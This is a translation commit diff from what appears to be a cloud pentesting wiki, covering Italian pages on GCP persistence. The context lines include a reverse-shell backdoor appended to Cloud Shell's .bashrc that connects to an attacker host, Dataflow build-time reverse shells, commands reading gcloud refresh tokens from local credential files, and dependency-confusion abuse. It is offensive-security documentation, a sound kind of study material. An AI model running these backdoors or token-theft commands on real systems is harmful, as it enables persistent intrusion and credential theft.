Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:00:08 +00:00
parent 931ae54e5f
commit 5dd38218dd
206 changed files with 1236 additions and 1254 deletions

View File

@@ -1,10 +1,10 @@
# GCP - Persistenza delle Chiavi API
# GCP - Persistenza delle chiavi API
{{#include ../../../banners/hacktricks-training.md}}
## Chiavi API
Per ulteriori informazioni sulle Chiavi API controlla:
Per ulteriori informazioni sulle chiavi API controlla:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md

View File

@@ -4,7 +4,7 @@
## App Engine
Per ulteriori informazioni su App Engine, controlla:
Per ulteriori informazioni su App Engine controlla:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -16,6 +16,6 @@ Se potessi semplicemente modificare il codice di una versione in esecuzione o cr
### Persistenza della vecchia versione
**Ogni versione dell'applicazione web verrà eseguita**, se scopri che un progetto App Engine sta eseguendo diverse versioni, potresti **crearne una nuova** con il tuo **codice backdoor**, e poi **creare una nuova legittima** in modo che l'ultima sia la legittima, ma ci sarà anche una **versione backdoor in esecuzione**.
**Ogni versione dell'applicazione web verrà eseguita**, se scopri che un progetto App Engine sta eseguendo diverse versioni, potresti **crearne una nuova** con il tuo **codice backdoor**, e poi **creare una nuova legittima** in modo che l'ultima sia la legittima ma ci sarà anche una **versione backdoor in esecuzione**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -16,12 +16,12 @@ Per ulteriori informazioni su Artifact Registry controlla:
- Viene utilizzato quello con la **priorità più alta impostata nel repository virtuale**
- Se la **priorità è la stessa**:
- Se la **versione** è la **stessa**, viene utilizzato il **nome della policy alfabeticamente** primo nel repository virtuale
- In caso contrario, viene utilizzata la **versione più alta**
- Se no, viene utilizzata la **versione più alta**
> [!CAUTION]
> Pertanto, è possibile **abusare di una versione più alta (confusione delle dipendenze)** in un registro di pacchetti pubblico se il repository remoto ha una priorità più alta o uguale
Questa tecnica può essere utile per **persistenza** e **accesso non autenticato** poiché per abusarne è sufficiente **conoscere il nome di una libreria** memorizzata in Artifact Registry e **creare quella stessa libreria nel repository pubblico (PyPi per python ad esempio)** con una versione più alta.
Questa tecnica può essere utile per la **persistenza** e l'**accesso non autenticato** poiché per abusarne è sufficiente **conoscere il nome di una libreria** memorizzata in Artifact Registry e **creare quella stessa libreria nel repository pubblico (PyPi per python ad esempio)** con una versione più alta.
Per la persistenza, questi sono i passaggi da seguire:

View File

@@ -1,4 +1,4 @@
# GCP - BigQuery Persistence
# GCP - Persistenza BigQuery
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Cloud Functions Persistence
# GCP - Persistenza delle Cloud Functions
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Functions
Per ulteriori informazioni su Cloud Functions, controlla:
Per ulteriori informazioni sulle Cloud Functions controlla:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -14,6 +14,6 @@ Per ulteriori informazioni su Cloud Functions, controlla:
- **Modifica il codice** della Cloud Function, anche solo il `requirements.txt`
- **Consenti a chiunque** di chiamare una Cloud Function vulnerabile o una backdoor
- **Attiva** una Cloud Function quando succede qualcosa per infettare qualcosa
- **Attiva** una Cloud Function quando accade qualcosa per infettare qualcosa
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud Run
Per ulteriori informazioni su Cloud Run, controlla:
Per ulteriori informazioni su Cloud Run controlla:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md

View File

@@ -12,21 +12,21 @@ Per ulteriori informazioni controlla:
### Backdoor Persistente
[**Google Cloud Shell**](https://cloud.google.com/shell/) ti offre accesso alla riga di comando alle tue risorse cloud direttamente dal tuo browser senza alcun costo associato.
[**Google Cloud Shell**](https://cloud.google.com/shell/) ti fornisce accesso alla riga di comando alle tue risorse cloud direttamente dal tuo browser senza alcun costo associato.
Puoi accedere al Cloud Shell di Google dalla **console web** o eseguendo **`gcloud cloud-shell ssh`**.
Questa console ha alcune capacità interessanti per gli attaccanti:
1. **Qualsiasi utente Google con accesso a Google Cloud** ha accesso a un'istanza di Cloud Shell completamente autenticata (anche gli Account di Servizio possono, anche essendo Proprietari dell'organizzazione).
2. Detto istanza **mantenere la sua home directory per almeno 120 giorni** se non si verifica alcuna attività.
1. **Qualsiasi utente Google con accesso a Google Cloud** ha accesso a un'istanza di Cloud Shell completamente autenticata (anche gli Service Accounts, essendo Proprietari dell'organizzazione).
2. Tale istanza **mantenere la sua home directory per almeno 120 giorni** se non si verifica alcuna attività.
3. Non ci sono **capacità per un'organizzazione di monitorare** l'attività di quell'istanza.
Questo significa fondamentalmente che un attaccante può mettere una backdoor nella home directory dell'utente e finché l'utente si connette al GC Shell almeno ogni 120 giorni, la backdoor sopravvivrà e l'attaccante otterrà una shell ogni volta che viene eseguita semplicemente facendo:
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
C'è un altro file nella cartella home chiamato **`.customize_environment`** che, se esiste, verrà **eseguito ogni volta** che l'utente accede al **cloud shell** (come nella tecnica precedente). Basta inserire il backdoor precedente o uno simile per mantenere la persistenza finché l'utente utilizza "frequentemente" il cloud shell:
C'è un altro file nella cartella home chiamato **`.customize_environment`** che, se esiste, verrà **eseguito ogni volta** che l'utente accede al **cloud shell** (come nella tecnica precedente). Basta inserire la backdoor precedente o una simile a quella seguente per mantenere la persistenza finché l'utente utilizza "frequentemente" il cloud shell:
```bash
#!/bin/sh
apt-get install netcat -y

View File

@@ -1,4 +1,4 @@
# GCP - Dataflow Persistence
# GCP - Persistenza Dataflow
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
### Persistenza invisibile nel contenitore costruito
Seguendo il [**tutorial della documentazione**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) puoi creare un nuovo template flessibile (ad es. python):
Seguendo il [**tutorial della documentazione**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) puoi creare un nuovo template flessibile (ad esempio python):
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started
@@ -38,7 +38,7 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
```
**Mentre viene costruito, otterrai una reverse shell** (puoi abusare delle variabili d'ambiente come nell'esempio precedente o di altri parametri che impostano il file Docker per eseguire cose arbitrarie). In questo momento, all'interno della reverse shell, è possibile **andare nella directory `/template` e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è `getting_started.py`)**. Imposta qui la tua backdoor in modo che ogni volta che il lavoro viene eseguito, verrà eseguita.
Poi, la prossima volta che il lavoro viene eseguito, verrà eseguito il container compromesso costruito:
Quindi, la prossima volta che il lavoro viene eseguito, verrà eseguito il container compromesso costruito:
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \

View File

@@ -1,4 +1,4 @@
# GCP - Token Persistance
# GCP - Persistenza del Token
{{#include ../../../banners/hacktricks-training.md}}
@@ -20,11 +20,11 @@ sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where
```
È anche possibile trovare i token di aggiornamento in **`$HOME/.config/gcloud/application_default_credentials.json`** e in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Per ottenere un nuovo token di accesso aggiornato con il **token di aggiornamento**, l'ID client e il segreto client eseguire:
Per ottenere un nuovo token di accesso aggiornato con il **refresh token**, l'ID client e il segreto client esegui:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
I token di aggiornamento possono essere gestiti in **Admin** > **Security** > **Google Cloud session control**, e per impostazione predefinita è impostato su 16h anche se può essere impostato per non scadere:
La validità dei token di aggiornamento p essere gestita in **Admin** > **Security** > **Google Cloud session control**, e per impostazione predefinita è impostata su 16h anche se può essere impostata per non scadere:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
@@ -34,10 +34,10 @@ Il flusso di autenticazione quando si utilizza qualcosa come `gcloud auth login`
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Poi, gcloud utilizzerà lo stato e il codice con un `client_id` hardcoded (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) per ottenere i **dati finali del token di aggiornamento**.
Poi, gcloud utilizzerà lo stato e il codice con un `client_id` hardcoded (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) per ottenere i **dati finali del token di refresh**.
> [!CAUTION]
> Nota che la comunicazione con localhost avviene in HTTP, quindi è possibile intercettare i dati per ottenere un token di aggiornamento, tuttavia questi dati sono validi solo 1 volta, quindi sarebbe inutile, è più facile semplicemente leggere il token di aggiornamento dal file.
> Nota che la comunicazione con localhost avviene in HTTP, quindi è possibile intercettare i dati per ottenere un token di refresh, tuttavia questi dati sono validi solo 1 volta, quindi sarebbe inutile, è più facile semplicemente leggere il token di refresh dal file.
### OAuth Scopes
@@ -65,7 +65,7 @@ https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
è interessante vedere come questa app supporti l'**`drive`** scope, che potrebbe consentire a un utente di escalare da GCP a Workspace se un attaccante riesce a costringere l'utente a generare un token con questo scope.
è interessante vedere come questa app supporti l'**`drive`** scope, che potrebbe consentire a un utente di eseguire un escalation da GCP a Workspace se un attaccante riesce a costringere l'utente a generare un token con questo scope.
**Controlla come** [**abusare di questo qui**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
@@ -76,7 +76,7 @@ Tuttavia, se rubi il **token OAuth** di un account di servizio questo può esser
### Metadati
Ovviamente, finché sei all'interno di una macchina in esecuzione nell'ambiente GCP sarai in grado di **accedere all'account di servizio associato a quella macchina contattando l'endpoint dei metadati** (nota che i token Oauth a cui puoi accedere in questo endpoint sono solitamente limitati da scope).
Ovviamente, finché sei all'interno di una macchina in esecuzione nell'ambiente GCP sarai in grado di **accedere all'account di servizio associato a quella macchina contattando l'endpoint dei metadati** (nota che i token Oauth a cui puoi accedere in questo endpoint sono di solito limitati da scope).
### Rimedi

View File

@@ -4,7 +4,7 @@
## Storage
Per ulteriori informazioni su Cloud Storage, controlla:
Per ulteriori informazioni su Cloud Storage controlla:
{{#ref}}
../gcp-services/gcp-storage-enum.md